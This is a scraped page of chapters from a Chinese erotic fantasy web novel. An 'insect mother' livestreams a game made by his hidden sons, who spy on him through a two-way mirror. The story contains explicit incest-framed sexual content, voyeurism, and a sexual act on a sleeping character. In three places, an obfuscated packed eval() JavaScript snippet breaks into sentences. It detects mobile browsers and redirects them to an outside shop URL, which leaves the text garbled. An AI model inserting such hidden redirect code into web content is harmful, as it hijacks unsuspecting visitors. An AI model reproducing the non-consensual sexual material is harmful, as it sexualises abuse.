一墙之隔,戴维德在黑暗里控制不住地放出自己的尾巴,怎么也收不回去,虫母温热的、柔软的、无私的、悲悯的唇瓣触感还残留在骨质的尾巴尖上,戴维德像狗一样轻轻摇了摇自己的尾巴尖,上面好像还残留着珀尔的温度。 对于虫族来说,只有妈妈才是温热的,是冰封的世界里唯一的温度。 从来不会有一个生命会像虫母这样,捧起虫族锋利的、丑陋的尾巴轻轻啄吻,展现着玉白温软的纯洁身体成为虫族的母亲、为虫族诞下新生命。 所有生物都会害怕冰冷如杀戮机器般的虫子,但妈妈不会。 游戏里的珀尔轻轻牵起戴维德的手,用自己的温度将孩子冰凉的手掌捂暖,“走吧,回家。” 回家。戴维德几乎控制不住地想释放出自己的信息素,最好能让隔壁的虫母闻到,然后被怒气冲冲以为被戏耍的妈妈扇巴掌,或者被发现他已然跌落成劣等虫的妈妈嫌恶地踢上几脚。 但戴维德清楚,虫母这样温柔的母亲,只会哭着将孩子抱进怀里,用温热甜腻的蜜汁哺育自己受伤的可怜孩子。 妈妈会自责,虫子的最高荣誉就是为了虫母而死,但妈妈会自责。 戴维德最终还是忍住了,又拿起一边的针剂往脖颈处扎了一针,药剂轻轻作用到他千疮百孔的躯体里,噬骨的疼痛让戴维德下意识咬住自己的牙关,一丝一毫声音都没有传到隔壁。 戴维德慢吞吞挪到门口,他轻轻把门打开,从这个位置能看见隔壁房间透出来的一点暖洋洋的灯光。 “妈妈……” 珀尔挪动着鼠标,手心莫名多出一份冰凉,那感觉就像他真的碰到了自己的孩子。 虫母这窝卵已经怀了有一段时间,中间被关进胶囊仓的时间里这些卵处于休眠状态。而现在,在雄虫给虫母补充过一次信息素后,它们已经重新活跃过来,甚至比之前的卵都要活泼健壮。 毕竟,它们整整在妈妈的温暖孕囊里待了百年。只这一点,就足以让它们出生就被无数雄虫嫉妒憎恶上,如果不发育得更好一点,很容易“意外夭折”。 珀尔轻轻摸了摸自己的小腹,纯洁的白色发丝垂下一缕,爱怜地搭在小妈咪的脸侧。 屏幕上的虫母毫不犹豫地坐上虫族的王座,丝毫没有费力气,珀尔出现的瞬间,他就是整个虫族当之无愧的王上。 虫母的降临几乎是毫不费力就能让所有的虫子甘愿俯首称臣。虫族从此就是为了他而运转,依照珀尔的命令存活。 在代表珀尔的小人戴上王冠的瞬间,这个游戏就弹出一个提示。 【恭喜玩家“珍珠”获得称号“众虫之母”,游戏进度达到百分之十。 开启新目标:族群扩展至中级阶段(族群成员数量过千)】 珀尔的小人被一群虫子围在中心,白色的毛茸茸发顶上还戴着那只金皇冠,是虫母才有资格佩戴的。 即使是王虫,也只能站在前排仰望虫母,虫母的王座要比周围高出不少,中间的阶梯都铺上了火红的地毯。 【妈妈!妈妈!!唯一的王上!】 【妈妈的王冠现在还摆在王座上,设置了专门负责保存、清理妈妈王冠的职位。】 【为什么没看见这个职位的招聘?】 【想什么呢,这种职位早就被几个上将和那几个王虫预备役轮班上了好吗。】 珀尔转过头,发现直播间里已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758038|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不停地在刷礼物,礼物的特效像烟花一样炸开,从四周簇拥着,把他的脸裹在中间。 【加登:恭喜妈妈,进入下一目标了。】 同时,珀尔的私信里多出加登发来的一条信息,是那星际通讯的资金进度条。 已经有十分之一了啊……珀尔弯了弯眼睛,虽然不知道为什么孩子会在游戏里,而且还有好多奇奇怪怪的事情发生。当时这明晃晃的进度条让珀尔还是很开心。 很快了,很快就能见到他的孩子们。他要挨个抱一抱自己的孩子,再抱着他们安抚、给他们喝自己储存的甜腻蜜汁。 珀尔想到这,忍不住摸了摸自己的后颈,在那被胶衣包裹住的毛茸茸雪白领子里,一起被裹住的还有虫母的腺体。 此时正一跳一跳地发着烫,虫母的脸颊因为激动泛起了粉,艳丽的颜色摸上眼尾,看起来像是被人揉红了。 珀尔下意识按住腺体,挤压出几滴带着香味的甜腻蜜汁。 虫母已然变得软乎乎的,像饱满的、成熟的浆果,腺体轻轻一碰就流出蜜汁。珀尔后知后觉,他的繁育期来了。 繁育期后永远都是两只孕囊满满当当的虫母这次却只有一只有卵。他的身体自动将其视为是族群成员稀少的情况,要再多繁育一些孩子。第二次繁育期就这样猝不及防来了。 虫母轻轻张着唇瓣小口小口喘气,繁育期的妈咪半阖着眼睛,泛着红的艳丽眼尾上挑着、睥睨着,黑色胶衣在珀尔触碰腺体时被拉开一截,露出雪白纯净的、美丽到不可思议的虫母躯体。 【救命啊……】 【想让妈妈怀上我的卵,妈妈肯定是又软又甜的。】 还没等直播间里的虫子再YY一会,珀尔就匆匆下播了。 “今天先播到这吧,大家好好休息。” 珀尔关掉直播后,对着镜子自己把胶衣慢慢拉开,胶衣“啪嗒”一声落在地上。珀尔倚着墙,赤裸的对着镜子。 他好像没发现这镜子是双面镜,又好像是发现了,在等待什么人上钩。 12.第 12 章 虫母的躯体是极其美丽的,在繁育后再次抽条的脊骨要比人类更长,纤白窄瘦的手指上裹着一层淡金色的蜜汁。 肌肤也是雪一样的洁白,被胶衣勒出一层浅淡的艳丽颜色。 半透明的、有着白色脉络的翅膀被淡金色的蜜汁慢吞吞充盈起来,能清楚地看见脉络下缓缓流动的漂亮蜜汁。 珀尔倚着墙,对面是等身高的镜子,他那双精致高贵的淡金色眼眸静静在镜子里流溢着美丽的光泽,纯白色的睫毛颤颤巍巍抖着。 珀尔慢吞吞把手指点在镜面上,就着那饱满腺体一碰就出来的甜腻蜜汁在冰冷的镜面上轻轻画了一个代表“谎言”的符号。 虫母繁育期的时候小腹会多出一个金色印记,在通体雪白的妈妈身上格外明显。镜子里珀尔的那枚印记已经蔓延至身后的腰窝,像漂亮的绸缎一样轻轻覆盖在雪白的肌肤上。 在第一次繁育期时,虫母的印记还只是一个金色的小圆点,随着孩子的增加这印记就愈发复杂繁琐漂亮。 这代表着这只虫母繁育过很多次、安抚过很多孩子。他是一只很成熟的妈咪。 镜子另一头的戴维德紧紧盯着珀尔腰腹上的印记,黑沉沉的眼瞳仿佛要直接把自己都刻在上面,成为妈妈的一部分,感受他的温度。 “妈妈……”戴维德跪着趴在镜子上,他的头贴在对面似乎毫不知情的虫母小腹上。 虫母看起来好像真的不知道这边还有他的孩子在隔着玻璃拥抱他,只是淡淡垂着眼睛,眼尾都是红的,却还能轻轻用手指去把翅膀脉络、胸口和腺体处溢出来的蜜汁导进玻璃瓶里。 珀尔准备了很多玻璃空瓶,打算把蜜汁储藏起来,给肚子里的卵备着。 他的身体已经熟透了,软乎乎往外吐着蜜汁,房间里全是虫母身上甜腻馥郁的味道。 珀尔甚至都没收敛自己的信息素,虫母带着渴求意味的挑/逗信息素瞬间就能传到安全区中心的几栋建筑里。 四周的高楼里有虫子控制不住地露出原形,黑色巨虫锋利的虫肢泛着寒光,原形甚至是带着倒刺的。虫子漆黑的复眼瞬间锁定珀尔所在的楼层,中心区只有他一间房间亮着融融暖光。 就在黑色巨虫即将破开玻璃冲过去时,时刻看着监控器的兰伯特按下遥控器。 专门用来隔离雄虫的特制玻璃升起,黑色巨虫撞到坚硬的特制玻璃上发出“砰”的一声。它哀哀发出嘶鸣,雄虫委屈的信息素甚至都没有传出去的机会就被兰伯特封锁了。 中心区更安静了,只有虫母偶尔发出的三两声压制不住的喘息声。 离珀尔最近的戴维德受到的影响更大,但兰伯特不知道怎么想的,居然没有打开他这间房间的防护。 原本可以压制戴维德虫族特征半月的药剂失灵,戴维德控制不住地显露出劣等虫才会出现的脸侧漆黑甲片。 尖利的、布满外骨骼的爪尖露了出来,像拉长拉宽的鬼手。最重要的是,劣等虫的基因差,为了让虫母顺利受孕,他们不但有更大的储鲸囊,身体各处也都发育得更能讨虫母欢心。 口腔里倒三角形状的舌尖要更长更滑,舌尖还会带着软软的倒刺,可以把虫母伺候得舒舒服服的。 只是因为劣等虫不适合繁育,即使已经发育成这样,也依旧没有王虫愿意把他们放进侍寝名单里,只有一两个佼佼者有资格,还是要排在名单最后。 常常到虫母的繁育期结束,都轮不到他们。 戴维德曾经是笑眯眯选人的王虫,仗着虫母的恩宠为非作歹,现在却沦落成劣等虫。 他像献祭一样看着珀尔神圣悲悯的脸颊,拼命控制着自己的力道才不至于用这样一副丑陋样子出现在妈妈面前。 “妈妈,妈妈会讨厌我吗?”戴维德的私心很重,他希望珀尔能永远对他偏爱,最好是在他死去后也依旧能记得他,他不能在珀尔面前变成劣等虫,不能让虫母以后想起他会是这样丑陋的样子。 ……还有,不能让妈妈伤心。他会难过,想起自己只会是无尽的愧疚。 想到这,戴维德的眼角微微下压,他眯起眼睛,“兰伯特……” 兰伯特就是故意的,他根本不想让戴维德体面的死去。最好是让妈妈亲眼看见戴维德变成一只劣等虫,最好是妈妈开始厌恶他,想起这只曾经的王虫就恶心。 毕竟,戴维德现在可是一只劣等虫。 兰伯特跟虫母的接触不多,没有戴维德那样了解珀尔,他似乎觉得这样把妈妈想象成一个厌恶劣等虫的高傲虫母才能满足自己扭曲的心理,这样多好啊。他盯着监控器里面的虫母,为对方挤蜜汁而泛起粉的胸口失神。 妈妈的胸口他品尝过,而且是第一个品尝的,珀尔当时还是青涩的虫母,喂幼虫也是手忙脚乱的,即使有雄虫帮助也还是呛了兰伯特一下。 兰伯特还记得,自己从温暖里离开,还没来得及体验到外面的寒冷就又被温柔的、带着香味的温暖虫母抱进怀里。 这个世界给兰伯特的第一印象就是温暖的,虫母裸露着身躯,那一身肌肤是雪白的、泛着珍珠一样的光泽。 珀尔轻轻把兰伯特拢进怀里,不太熟练地哄着他,珀尔才成为妈妈,脸颊上还有着可爱的软肉,但眉眼间已经开始有了妈妈的味道,他侧脸跟戴维德说着话。 兰伯特在他怀里睁开眼,从此偏执地、疯狂地爱上了他。 现在,兰伯特的目光晦暗不明,一只一闪一闪的监视器对着虫母雪白的脊背,另一只监视器则是直直对着珀尔的脸颊,白金色的发丝遮住小半张脸。 珀尔轻轻把发丝拢到后颈,露出水洗过的白瓷一样的侧脸,暖黄的灯光从头顶落下,轻轻照在珀尔白金色的发丝上,能让这些视力特别好的虫子们看见虫母眉眼间不自觉流露出的慈爱。 兰伯特舌根发麻,珀尔不会是他想象的那种虫母,但这样的温柔反而成为兰伯特这只飞蛾扑火的炽热火光。 “您应该厌恶这些卑劣的虫子,只有我,只有我这样拼命到达你身边的,才能得到你的一点爱怜。”兰伯特轻轻道,“妈妈,你会知道的,只有我才是最适合你的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768381|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我会成为你最锋利的剑、最趁手的玩具、最贴心的孩子和最虔诚的信徒。” …… 珀尔在镜子前等了许久,只听见有窸窸窣窣的声音,但没有人过来。 他怀疑隔壁住的就是他的孩子戴维德,虽然上一次血液没闻出信息素,但珀尔在浴室里不会闻错的。 是还不够吗……坏孩子。珀尔抿了抿嘴唇,将原本就红润的唇瓣摩擦得更艳。 虫母纤白窄瘦的手指慢吞吞碰触到经常被孩子嘬弄的地方,粉白的一小点跟高大强壮的雄虫的那一根差距特别大,此时珀尔一只手掌就能包裹住。 虫母的尾巴是很灵活的,得益于尾巴顶部倒三角的毛茸茸,珀尔甚至可以自己用尾巴拍一拍…… 像到fq期的小猫一样拍尾巴根,把雪白的那一处拍得泛起艳丽的颜色,看起来像是被撞红的。 珀尔的尾巴尖沾湿了,除了脖领子的毛茸茸绒毛外,翅膀和尾巴上的雪白毛毛都变成一缕一缕的了。 “唔……坏孩子……坏孩子……”珀尔用尾巴拍着自己,嘴上嘟哝着,这感觉就像有虫子在被他使用…… “砰——”镜子对面传来什么东西倒地的声音。 珀尔眼眶都红了,腰腹上淡金色的印记泛起光亮,衬得他像白天一本正经、普渡众生、晚上在寂静处偷偷紫薇的神圣仙人。 “坏孩子……快点……再快……” 但直到珀尔彻底被拍氵,也没人打开他的门,珀尔迷迷糊糊睡去,难道真的不是他的孩子吗……繁育期没有得到种的虫母浑身都泛着昳丽的颜色,委委屈屈哼唧着累到睡着了。 在他沉睡的下一秒,门轻轻被人打开。 戴维德对珀尔昏睡过去的时间掌握得刚刚好,一分一秒都没有多没有少,笨蛋妈咪从青涩到熟练都是用戴维德当玩具的,他自然清楚虫母的极限在哪。 戴维德跪在珀尔床前,属于虫族的尾巴圈住丰腴的白皙腿肉,他张开嘴,把虫母自己弄不出来的……吃了进去。 “妈妈……” 虫母第二天醒来发现繁育期已经被熬过去了,不知道下一次突然袭击是什么时候。他有点失望地垂下眼睛,“难道真的不是戴维德吗……可是信息素的味道不会错的。” 就在珀尔想下去走走的时候,他忽然发现,自己怀着的卵们都蔫巴巴的,甚至在他摸它们的时候都不踊跃回应他了。 一副忙活了一晚上的样子。 “可怜的宝宝们,是不是妈妈昨天晚上睡得太晚了,让你们也跟着累了。”珀尔好好挨个安抚了它们一遍。“妈妈以后会早早睡觉的。” 珀尔再去镜子前收起自己的蜜汁罐子时,他丝毫没有发觉到少了一只满满当当的罐子。 没试探出戴维德身份的虫母气馁了一会,又打起精神打算接着玩游戏,没事的,他只要好好玩游戏,肯定可以找到自己的孩子! 一墙之隔的戴维德此时才恋恋不舍地把嘴里的东西咽了下去。 妈妈的味道被吃进肚子里了。 13.第 13 章 【欢迎玩家“珍珠”重新回到《繁育》】 【您的游戏进程已达到二阶段,开启新目标:族群扩展至中级阶段(族群成员数量过千)】 【祝您愉快。】 珀尔重新开启直播,这次他把电脑换到一个光线更好的地方,暖洋洋的阳光轻轻吻在虫母漂亮的眼眸上,他歪着头跟观众打招呼。 “又见面了,让我们来接着玩上次的游戏吧。” 【玩……游戏吗。】 【细说怎么玩。】 【昨天看见妈妈之后找了妈妈之前的影像冲了一下,爽爽的。】 【?你哪来的影像,不是只有几个上将和加登阁下有吗。安保级别那么高前面那个也敢偷。】 【监守自盗。】 【原来是我们理解错了,不是看见妈妈第一次冲动了,而是反复回味。】 【透露一下,妈妈喜欢在上面,无论底下的用什么道具、嵌多深,妈妈眼圈都红了还是喜欢自己坐在上面。】 【脐橙!呀咪呀咪,吃了。】 “大家好热情啊,那我们马上就开始吧。”珀尔已经习惯看不清弹幕的直播了,偶尔能看清一两条也有大半都是星号。 【我不行了,怎么感觉这么像妈妈在给我们录那个什么片。】 【炫压抑解药。】 【救命啊,回不去了,这样一想真的好像,而且回不去了……对不起,我对纯洁的妈妈做了坏事。】 【妈妈:我们马上开始游戏吧。 炫压抑版:我们马上开始吧~】 珀尔点开游戏,《繁育》的图标就是他那个角色,雪白的小人把自己团成一团,展露出毛茸茸的脖领子和半透明的翅膀,像短暂休息的漂亮蛾。 在珀尔点击的瞬间,那图标好像悄悄睁开眼对他眨了一下,雪白的一团上忽然出现一只淡金色的眼眸还是很明显的。 珀尔怔愣一下,然后才眉眼弯弯笑了起来,“好可爱。” 珀尔回到下播时的节点,他发现游戏的画风好像更精致了,原本角色都是Q版像素风,现在反而变回了正常比例。还是能明显看出来是游戏。 “是因为进入二阶段了吗。”珀尔思考了几秒,如果二阶段画风会变,那往后的阶段会变成什么样子。 但他也没思考多久,因为此时珀尔面临一个至关重要的抉择。 【剧情前提:身为虫母的你即将迎来第一次繁育期,而你却烦恼不已,因为你还没有选好自己的王虫。】 【第一次繁育期生下的卵如果质量不合格的话,你的种族就将无法出现精壮的劳动力去捕猎到足够度过冰河期的食物。】 【你需要尽快在十六位候选人里做出选择。】 在选拔日前一天,负责检查的雄虫发现了这些候选人里居然有贿赂检测官的。所以珀尔临时决定让这些候选人脱掉衣服、蒙上脸、身体一点后天打上的印记都不能有。 当然,这样虫母也能更直观地迅速了解到候选人的体魄如何。 临时被通知要脱衣服的雄虫们一边脱一边假意抱怨着。 “怎么一来就脱衣服。” “美死你了吧,谁不知道你今天早上做了二百个俯卧撑。” “你们谁没做,都不比我少吧。” “哎?你们说,一会是不是就能看见……他了。” “谁?” 黑皮雄虫恼怒着脱掉衣服,露出底下精壮的身材,“还能有谁。” “……虫母呗。” 夹杂着脏话和荤话的声音不停在更衣室里响起,话题中心只有一个。 ——虫母。 临时让雄虫更换衣服,珀尔索性把他们安排到自己的备用更衣室,里面只存放着几件他不常穿的衣服。但还是香得要命,很快,那几件衣服的香味就被雄虫们的汗味和信息素味遮盖住了。 十六位候选人被带了上来,珀尔的角色坐在王位上,脸上是跟屏幕外的珀尔如出一辙的认真。 珀尔轻轻蹙起眉头,漂亮精致的脸蛋微微仰起一点,浅金色的眼眸一转不转盯着屏幕上这一排蒙着脸的候选人。 这些候选人是没有任何布料遮挡身体的。而且他们的脸已经被严严实实蒙好了。 雄虫身上的漆黑外骨骼和手臂、脊骨上的骨刺都没有收起来,连尾巴和虫肢都是要用尺子仔细测量的。 每一只候选人都在努力让自己的数值更高一点。连之前在更衣室说自己就是走个过场的雄虫也开始对其他候选人时不时冷笑抨击羞辱着、雄竞着、无所不用其极。 就因为他们透过布料的孔隙遥遥看了一眼王座上的虫母。 还不知道他长什么样子,但只是知道他真实存在着、而且自己现在有概率能时时刻刻陪伴在对方身边,什么面子、自尊就都抛之脑后了。 像妒夫一样疯狂攻击其他雄虫,最好就这样把其他雄虫都淘汰掉,只剩下自己一只。 虫母就是有这样的魔力,还不知道长相不知道性格只是遥遥看了一眼就喜欢上了、爱上了。 屏幕外的珀尔看着底下几个候选人时不时还说着话,一派其乐融融的,他发出感叹,“孩子们都很乖很有礼貌,还知道互相打招呼。” 【是啊,底下这几个已经快把对方的死期都问候出来了。】 【妈妈眼里是其乐融融一大家子。这些家伙眼里就变成了不是你死就是我死。】 【这是哪个阶段的剧情,有知道的吗?】 【涉及剧透,容易被加登狙,反正只能说妈妈从那之后就让某个家伙蝉联了五年的王虫。】 第一轮的选拔是看各部位的长度,不需要珀尔亲自去看,他只在王位上看着底下的虫子忙忙碌碌,时不时吃一颗葡萄。 随后,通过了第一轮选拔的雄虫会被带到珀尔寝宫附近安排住下来。直到这时他们也没能被珀尔看见,一群年轻气盛的雄虫拿着自己的房间卡进入自己的房间。 只让他们迅速冲个澡就接着集合前往展厅了。珀尔最喜欢在展厅里打理花花草草,那里的门一打开就是扑面的香味。 展厅里堆满高低错落的花草,一群糙汉子雄虫拘谨地坐在椅子上等着那位应该坐在主位上的虫母来像挑选货物一样挑选他们。 这时的虫母才来到族群不久,很多虫子只是知道他的存在却没见过他,即使是珀尔登基那天来的虫子也是一些势力的首领和护卫队。 这是珀尔吩咐的,为的就是先把虫母保护起来避免意外,毕竟是刚刚接手的族群,所有事情都要谨慎再谨慎。 这些年轻力壮的雄虫只能眼巴巴听着去过的虫子跟他们描绘珀尔的形象。自然他们也不清楚珀尔的脾气秉性。 于是在等了几个小时也没等到珀尔之后,这些年轻气盛的雄虫就开始忍不住YY起虫母来。 “你们说,他长什么样?”首先发言的是一只黑皮雄虫,长相很野蛮,腰腹力量测量他是这些候选人里的第一。 珀尔此时刚刚换好衣服,听见他们说话的声音停下脚步,悄悄把耳朵探出去一点偷听。 这些雄虫不知道,这个展厅后有一条小通道,直接连接着虫母的寝宫,是为了方便漂亮虫母打理自己娇贵的花朵特地打通的。 通道的墙壁和道路用的都是最好的玉石材料,能清清楚楚听见外面展厅的声音。 伺候珀尔的雄虫拿来一把椅子。 游戏弹出一个抉择,【你是否选择坐下:是/否。】 其实他有点好奇这些游戏里的雄虫是怎样看待他的。珀尔毫不犹豫选择了是,耳边的声音更清楚了。 【二轮筛选已开始。】 误打误撞,二轮筛选本来应该是珀尔去展厅内跟雄虫聊天判断谁的性格合适的,现在这样也好,说不定能听见更多真心话。 珀尔纤白窄瘦的手指在电脑键盘上轻轻点了点,他在游戏里才加入族群没多久,王虫不能是一只独占欲过强的强大雄虫,这样不利于族群的发展。 最好是一只性格好、大度,事事都能面面俱到的雄虫才好。 这时,戴维德说话了,“我见过。” 旁边本来随意坐着的雄虫瞬间朝那只雄虫聚了过去。 “哥们,真的假的啊,你凭什么啊,你真该死啊。” “做梦见着的吧,虫母是不是还扇你小嘴巴了。” “现在是白天,你做梦倒也正常。” 坐在戴维德对面的是一只跟他一直不对付的雄虫嗤笑一声,“你们真信啊,虫母加冕礼只有首领和那几个天赋好的雄虫去了。加冕礼结束后他们就被收编成虫母的贴身侍卫了。” “贴身,都干什么啊?” 那只雄虫给了一个你懂得的眼神,“暖床、护卫什么不干啊,刚刚我们一轮筛选不也是他们来的。” “你说得有鼻子有眼的,你咋知道的?” “我有人脉啊。”那只雄虫得瑟起来。 戴维德垂着眸子没说话,他喝了一口茶水。 珀尔听着,大概知道这应该就是那个贿赂检测官的雄虫,他拧起眉头,吩咐旁边的护卫队,“把他淘汰。” 展厅里,雄虫们还在不停说着。 “关系户啊,那你见过虫母吗?” 那雄虫卡了一下壳,“当,当然了。” “他长什么样子啊。” “个子高吗,刚刚坐在王位上看起来是很冷傲的性格啊。” “会不会是个很残暴的虫母,不会心情不好就用鞭子抽我们吧。” “你想得美,虫母要是真爱抽我们的话,你肯定巴不得他往死里打你呢。” 戴维德从头到尾一句话没说,只静静看着那雄虫瞎扯淡,最后硬生生把珀尔说成一个骄奢淫逸的笨蛋。 珀尔气愤地把键盘推开,“我哪里是这样的!他们胡说!” 【笨蛋妈妈玩游戏玩生气了,他们坏,打他们。】 【别给打爽了。】 【原来之前是这样选的,后几届我记得妈妈前几轮都不出面了,直接最后一轮点那个幸运儿继续当王虫。】 【呵呵,看起来就是这次选拔给妈妈留下了好印象。】 【怎么就那么巧,刚好有个对照组就这么恰好把这家伙衬成善良踏实雄虫了。】 【加登:妈妈不要生气,一会我买个病毒把他们都变成智障。】 珀尔看见了加登的特效弹幕,他支支吾吾一会,“其实也不用,我说他们两句心情就好了。” 【呜呜呜妈妈真的是很温柔的妈妈。】 【最好的妈妈!我为妈妈举大旗!】 游戏还在继续,珀尔接着去听。 “他不是那样的。”戴维德打断那只雄虫的哔哔赖赖,他毫不退缩地直直盯着那雄虫的眼睛,又重复了一遍,“妈妈不是你说的那样。” 展厅里寂静下来,骤然被打断的雄虫不满道,“你别乱打断我说话,你什么身份啊跟我说话。” “你觉得我说的不对?不会还沉浸在自己的幻想里吧,是不是幻想里虫母还选了你做王虫啊。” 戴维德丝毫没有因为对方的讥讽而变脸,反而很平和,“他看起来很乖,是那种心特别软的妈妈,我第一次遇见他的时候,他就把我抱在怀里,还亲了我的尾巴。” “他个子不高,比我们要低一个头,长得很白,头发睫毛都是白的眼睛是金色的,有翅膀和尾巴,也是白的,像雪做的一样。” “性格也很好,不折腾人,喜欢自己打理花花草草,对谁说话都是温温柔柔的,实在生气的时候才会骂你两句。” “骂人的时候声音也是轻轻柔柔的,无论孩子做了什么事情,他最多也就是骂两句,再重一点的惩罚他自己就会先心疼。对劣等虫的态度也是温温柔柔的,连一点讨厌都不会有,还会抱着他们心疼。 就是这样的性格,把他的孩子惯得无法无天,接触到他的孩子不愿意放手,接触不到的会因为听见别的雄虫的待遇宁愿舍弃自己的生命让虫母给他们哪怕是垂怜的一眼。” 一开始说虫母会不会用鞭子抽他的雄虫呐呐道,“……感觉,你说的更可信一点呢,感觉他就是那种温柔的……妈妈。是能把虫族惯坏的妈妈。” “对啊,他刚刚坐在上面也是安安静静的自己吃东西,没让雄虫喂他。感觉不会是那种骄奢淫逸的虫母。” “好像你说的也有道理,要是虫母真是这个性格,我愿意为他去死,不知道这辈子能不能侍奉他一回。要是不能,让这样好的妈妈为我哭一滴泪,也是值了。” 戴维德拧起眉头,“不要这样,他会很伤心,很自责,他会觉得你们是被他害死的。在这种自责和心疼的两种情感交织下,他或许为了狠下心教育一下你们陷入险境。” 周围的雄虫听着戴维德说话,一个个都痴了起来,只知道连连点头了,也不知道为什么,就感觉对方嘴里的虫母,是那种会为了他们伤心、能允许他们抱的妈妈。 这样就很好了。 先前乱说的雄虫还想狡辩些什么,但展厅里已经没有雄虫听他的了。 珀尔悄悄离开了,没发现戴维德看向旁边玉石墙壁的眼神,带着眷恋、爱慕和说不清道不明的悲伤。 那里,在珀尔离开前,可以清清楚楚倒映出珀尔的影子。 妈妈,兰伯特他们疯了,我不知道还能抗衡几次,或许下一次,他给的药剂就不会再管用。 如果我注定要在死亡之前露出自己的短处,让你看见我丑陋的样子,那不如,让我自己来,起码我自己可以选择是怎样被你看见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774145|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 戴维德在珀尔隔壁的房间里,用自己王虫的身份修改了游戏的后续剧情,他做完一切抱着电脑,眷恋地贴在镜子上,看着珀尔的侧脸。 他昨天晚上做了个梦,梦见妈妈在他死后哭着打他,说为什么连最后一面都不让他见,说为什么连知晓的权利都不给他,问他到底有没有把自己当妈妈。 还问他,这样的行为,跟那些随意放弃自己的生命、让他伤心的雄虫有什么区别。 戴维德醒来时眼泪已经流了满面,或许,妈妈是对的。他干脆直接冲动地把剧情修改了,原本是打算走完游戏的剧情就让加登带妈妈回去,自己就这样随便死在哪就好了。 经过那一个梦,戴维德反而改变了自己的念头,既然兰伯特没有打算放过他,而妈妈说不定也会伤心的话,还不如,让妈妈知道。 知道之后是厌恶还是什么其他情绪,都应该是妈妈自己决定的。 戴维德运筹帷幄多年,连生命的最后一个月都在为珀尔出主意。没想到自己现在会这样不计后果地做了这样一个决定。 反正兰伯特的暗箭他也终会有一天防不住,昨天那支药剂失灵,剩下的药剂又会有几支是好的呢。让妈妈知道吧,就算是厌恶,也比哭着说自己难过、而他却已经死去无法为妈妈擦眼泪要好一些吧。 …… 第二轮只淘汰了那只乱说话的雄虫。 接下来就是最后一轮了,第三轮和第二轮中间隔了三天,这期间,这些备选人要在自己的房间里。 虫母会挑选其中几个叫到自己的寝宫。 一时间,这些雄虫都开始洗刷自己,生怕虫母看见什么不喜欢的、脏污的地方。 戴维德无疑是第一个被选中的。 珀尔在屏幕外,仔仔细细打量着游戏里人物的形象。 刚刚戴维德说的那几句话让珀尔的疑心又起了,就在第一次选拔王虫的时候,他也说过这样的话,甚至在第三轮开始时还把他从雄虫堆里抱走。 一下子就让当时还青涩的虫母决定是他了。 但,珀尔现在可是成熟的虫母,他眯起眼睛,试图从他身上找出什么破绽。 一个游戏,为什么会对这种机密的事情了解呢,这个游戏的制造商是哪家。 珀尔忽然想起什么,他翻到加登给的那个链接,底部有个小小的开口蚌壳图案,蚌壳里装着一枚圆润的珍珠。 “守珍。”珀尔点了点那个制造商的品牌名,“是守护珍珠吗。” 珀尔的小名就是珍珠,联系起之前的信息素,和昨晚的事情,珀尔愈发觉得这制造商的名字就是这个意思。 虽然并没有捉到戴维德的现行,但虫母的疑心也从来没有打消过。 珀尔的第六感告诉他,戴维德一定就在他身边,只是到底是因为什么,他才会不愿意跟自己相认呢,反而要百般阻挠、隐瞒身份。 难道只是因为自己离开了一百多年,对方生气吗。珀尔跟戴维德已经相处了五年,他清楚这只王虫的脾气秉性。 虽然当初珀尔是真的觉得对方是个宽宏大量的,但这么多年过去了,珀尔也看出来一点对方真实的性格,只是他没说而已。 戴维德或许不是宽宏大量的雄虫,而且独占欲很强。但他的的确确在按照珀尔对王虫的期望去做,他不会做出因为自己的情绪就扰乱整个族群发展的事情。 那么,就是有其他的原因,让这只王虫不得不暂时隐藏身份。 珀尔抿了抿嘴唇,将原本就红润的唇瓣摩擦得更艳。那让他直播、玩这个游戏的目的又是什么。 或者说,戴维德想通过这个游戏告诉他什么。 想来想去,最后还是要先把游戏玩一遍,只有玩完才能知道孩子们想干什么。 至于戴维德为什么要选择这样的方式,肯定也有他的道理,。 虫母丝毫不担心戴维德会对他不利,他知道虫族对他的离开肯定会有情绪,或许这个游戏更多的是孩子们的恶趣味,戴维德想告诉他的事情说不定只是游戏里极小的一部分。但无论怎样,虫族是不会伤害他的。 他是他们的妈妈,他在爱着这些孩子的同时,这些孩子也对他抱有同样的、甚至要更汹涌的爱意。 虫族是从珀尔的身体里诞生的,他们永远不会背叛珀尔。 温柔慈爱的虫母从来都是喜欢惯着自己的孩子的,离开了那么久,让孩子们发泄一下也没什么。珀尔反而对游戏更感兴趣了,他有点好奇,孩子们为他准备了些什么,只是跟以前一模一样的剧情吗? 